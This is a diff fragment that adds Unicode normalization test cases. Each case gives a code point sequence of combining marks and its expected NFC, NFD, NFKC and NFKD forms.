+{ source: [0x0061, 0x16FF0, 0x0334, 0x20EA, 0x0062], NFC: [0x0061, 0x0334, 0x20EA, 0x16FF0, 0x0062], NFD: [0x0061, 0x0334, 0x20EA, 0x16FF0, 0x0062], NFKC: [0x0061, 0x0334, 0x20EA, 0x16FF0, 0x0062], NFKD: [0x0061, 0x0334, 0x20EA, 0x16FF0, 0x0062] },
+{ source: [0x0061, 0x20EA, 0x16FF0, 0x0334, 0x0062], NFC: [0x0061, 0x20EA, 0x0334, 0x16FF0, 0x0062], NFD: [0x0061, 0x20EA, 0x0334, 0x16FF0, 0x0062], NFKC: [0x0061, 0x20EA, 0x0334, 0x16FF0, 0x0062], NFKD: [0x0061, 0x20EA, 0x0334, 0x16FF0, 0x0062] },
+{ source: [0x0061, 0x16FF0, 0x0334, 0x20EB, 0x0062], NFC: [0x0061, 0x0334, 0x20EB, 0x16FF0, 0x0062], NFD: [0x0061, 0x0334, 0x20EB, 0x16FF0, 0x0062], NFKC: [0x0061, 0x0334, 0x20EB, 0x16FF0, 0x0062], NFKD: [0x0061, 0x0334, 0x20EB, 0x16FF0, 0x0062] },
+{ source: [0x0061, 0x20EB, 0x16FF0, 0x0334, 0x0062], NFC: [0x0061, 0x20EB, 0x0334, 0x16FF0, 0x0062], NFD: [0x0061, 0x20EB, 0x0334, 0x16FF0, 0x0062], NFKC: [0x0061, 0x20EB, 0x0334, 0x16FF0, 0x0062], NFKD: [0x0061, 0x20EB, 0x0334, 0x16FF0, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x20EC, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x20EC, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x20EC, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x20EC, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x20EC, 0x059A, 0x0062] },
+{ source: [0x0061, 0x20EC, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0x20EC, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x20EC, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x20EC, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x20EC, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x20ED, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x20ED, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x20ED, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x20ED, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x20ED, 0x059A, 0x0062] },
+{ source: [0x0061, 0x20ED, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0x20ED, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x20ED, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x20ED, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x20ED, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x20EE, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x20EE, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x20EE, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x20EE, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x20EE, 0x059A, 0x0062] },
+{ source: [0x0061, 0x20EE, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0x20EE, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x20EE, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x20EE, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x20EE, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x20EF, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x20EF, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x20EF, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x20EF, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x20EF, 0x059A, 0x0062] },
+{ source: [0x0061, 0x20EF, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0x20EF, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x20EF, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x20EF, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x20EF, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x20F0, 0x0062], NFC: [0x00E0, 0x05AE, 0x20F0, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x20F0, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x20F0, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x20F0, 0x0315, 0x0062] },
+{ source: [0x0061, 0x20F0, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x20F0, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x20F0, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x20F0, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x20F0, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x2CEF, 0x0062], NFC: [0x00E0, 0x05AE, 0x2CEF, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x2CEF, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x2CEF, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x2CEF, 0x0315, 0x0062] },
+{ source: [0x0061, 0x2CEF, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x2CEF, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x2CEF, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x2CEF, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x2CEF, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x2CF0, 0x0062], NFC: [0x00E0, 0x05AE, 0x2CF0, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x2CF0, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x2CF0, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x2CF0, 0x0315, 0x0062] },
+{ source: [0x0061, 0x2CF0, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x2CF0, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x2CF0, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x2CF0, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x2CF0, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x2CF1, 0x0062], NFC: [0x00E0, 0x05AE, 0x2CF1, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x2CF1, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x2CF1, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x2CF1, 0x0315, 0x0062] },
+{ source: [0x0061, 0x2CF1, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x2CF1, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x2CF1, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x2CF1, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x2CF1, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0x2D7F, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0x2D7F, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0x2D7F, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0x2D7F, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0x2D7F, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x2D7F, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0x2D7F, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x2D7F, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x2D7F, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x2D7F, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x2DE0, 0x0062], NFC: [0x00E0, 0x05AE, 0x2DE0, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x2DE0, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x2DE0, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x2DE0, 0x0315, 0x0062] },
+{ source: [0x0061, 0x2DE0, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x2DE0, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x2DE0, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x2DE0, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x2DE0, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x2DE1, 0x0062], NFC: [0x00E0, 0x05AE, 0x2DE1, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x2DE1, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x2DE1, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x2DE1, 0x0315, 0x0062] },
+{ source: [0x0061, 0x2DE1, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x2DE1, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x2DE1, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x2DE1, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x2DE1, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x2DE2, 0x0062], NFC: [0x00E0, 0x05AE, 0x2DE2, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x2DE2, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x2DE2, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x2DE2, 0x0315, 0x0062] },
+{ source: [0x0061, 0x2DE2, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x2DE2, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x2DE2, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x2DE2, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x2DE2, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x2DE3, 0x0062], NFC: [0x00E0, 0x05AE, 0x2DE3, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x2DE3, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x2DE3, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x2DE3, 0x0315, 0x0062] },
+{ source: [0x0061, 0x2DE3, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x2DE3, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x2DE3, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x2DE3, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x2DE3, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x2DE4, 0x0062], NFC: [0x00E0, 0x05AE, 0x2DE4, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x2DE4, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x2DE4, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x2DE4, 0x0315, 0x0062] },
+{ source: [0x0061, 0x2DE4, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x2DE4, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x2DE4, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x2DE4, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x2DE4, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x2DE5, 0x0062], NFC: [0x00E0, 0x05AE, 0x2DE5, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x2DE5, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x2DE5, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x2DE5, 0x0315, 0x0062] },
+{ source: [0x0061, 0x2DE5, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x2DE5, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x2DE5, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x2DE5, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x2DE5, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x2DE6, 0x0062], NFC: [0x00E0, 0x05AE, 0x2DE6, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x2DE6, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x2DE6, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x2DE6, 0x0315, 0x0062] },
+{ source: [0x0061, 0x2DE6, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x2DE6, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x2DE6, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x2DE6, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x2DE6, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x2DE7, 0x0062], NFC: [0x00E0, 0x05AE, 0x2DE7, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x2DE7, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x2DE7, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x2DE7, 0x0315, 0x0062] },
+{ source: [0x0061, 0x2DE7, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x2DE7, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x2DE7, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x2DE7, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x2DE7, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x2DE8, 0x0062], NFC: [0x00E0, 0x05AE, 0x2DE8, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x2DE8, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x2DE8, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x2DE8, 0x0315, 0x0062] },
+{ source: [0x0061, 0x2DE8, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x2DE8, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x2DE8, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x2DE8, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x2DE8, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x2DE9, 0x0062], NFC: [0x00E0, 0x05AE, 0x2DE9, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x2DE9, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x2DE9, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x2DE9, 0x0315, 0x0062] },
+{ source: [0x0061, 0x2DE9, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x2DE9, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x2DE9, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x2DE9, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x2DE9, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x2DEA, 0x0062], NFC: [0x00E0, 0x05AE, 0x2DEA, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x2DEA, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x2DEA, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x2DEA, 0x0315, 0x0062] },
+{ source: [0x0061, 0x2DEA, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x2DEA, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x2DEA, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x2DEA, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x2DEA, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x2DEB, 0x0062], NFC: [0x00E0, 0x05AE, 0x2DEB, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x2DEB, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x2DEB, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x2DEB, 0x0315, 0x0062] },
+{ source: [0x0061, 0x2DEB, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x2DEB, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x2DEB, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x2DEB, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x2DEB, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x2DEC, 0x0062], NFC: [0x00E0, 0x05AE, 0x2DEC, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x2DEC, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x2DEC, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x2DEC, 0x0315, 0x0062] },
+{ source: [0x0061, 0x2DEC, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x2DEC, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x2DEC, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x2DEC, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x2DEC, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x2DED, 0x0062], NFC: [0x00E0, 0x05AE, 0x2DED, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x2DED, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x2DED, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x2DED, 0x0315, 0x0062] },
+{ source: [0x0061, 0x2DED, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x2DED, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x2DED, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x2DED, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x2DED, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x2DEE, 0x0062], NFC: [0x00E0, 0x05AE, 0x2DEE, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x2DEE, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x2DEE, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x2DEE, 0x0315, 0x0062] },
+{ source: [0x0061, 0x2DEE, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x2DEE, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x2DEE, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x2DEE, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x2DEE, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x2DEF, 0x0062], NFC: [0x00E0, 0x05AE, 0x2DEF, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x2DEF, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x2DEF, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x2DEF, 0x0315, 0x0062] },
+{ source: [0x0061, 0x2DEF, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x2DEF, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x2DEF, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x2DEF, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x2DEF, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x2DF0, 0x0062], NFC: [0x00E0, 0x05AE, 0x2DF0, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x2DF0, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x2DF0, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x2DF0, 0x0315, 0x0062] },
+{ source: [0x0061, 0x2DF0, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x2DF0, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x2DF0, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x2DF0, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x2DF0, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x2DF1, 0x0062], NFC: [0x00E0, 0x05AE, 0x2DF1, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x2DF1, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x2DF1, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x2DF1, 0x0315, 0x0062] },
+{ source: [0x0061, 0x2DF1, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x2DF1, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x2DF1, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x2DF1, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x2DF1, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x2DF2, 0x0062], NFC: [0x00E0, 0x05AE, 0x2DF2, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x2DF2, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x2DF2, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x2DF2, 0x0315, 0x0062] },
+{ source: [0x0061, 0x2DF2, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x2DF2, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x2DF2, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x2DF2, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x2DF2, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x2DF3, 0x0062], NFC: [0x00E0, 0x05AE, 0x2DF3, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x2DF3, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x2DF3, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x2DF3, 0x0315, 0x0062] },
+{ source: [0x0061, 0x2DF3, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x2DF3, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x2DF3, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x2DF3, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x2DF3, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x2DF4, 0x0062], NFC: [0x00E0, 0x05AE, 0x2DF4, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x2DF4, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x2DF4, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x2DF4, 0x0315, 0x0062] },
+{ source: [0x0061, 0x2DF4, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x2DF4, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x2DF4, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x2DF4, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x2DF4, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x2DF5, 0x0062], NFC: [0x00E0, 0x05AE, 0x2DF5, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x2DF5, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x2DF5, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x2DF5, 0x0315, 0x0062] },
+{ source: [0x0061, 0x2DF5, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x2DF5, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x2DF5, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x2DF5, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x2DF5, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x2DF6, 0x0062], NFC: [0x00E0, 0x05AE, 0x2DF6, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x2DF6, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x2DF6, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x2DF6, 0x0315, 0x0062] },
+{ source: [0x0061, 0x2DF6, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x2DF6, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x2DF6, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x2DF6, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x2DF6, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x2DF7, 0x0062], NFC: [0x00E0, 0x05AE, 0x2DF7, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x2DF7, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x2DF7, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x2DF7, 0x0315, 0x0062] },
+{ source: [0x0061, 0x2DF7, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x2DF7, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x2DF7, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x2DF7, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x2DF7, 0x0300, 0x0315, 0x0062] },
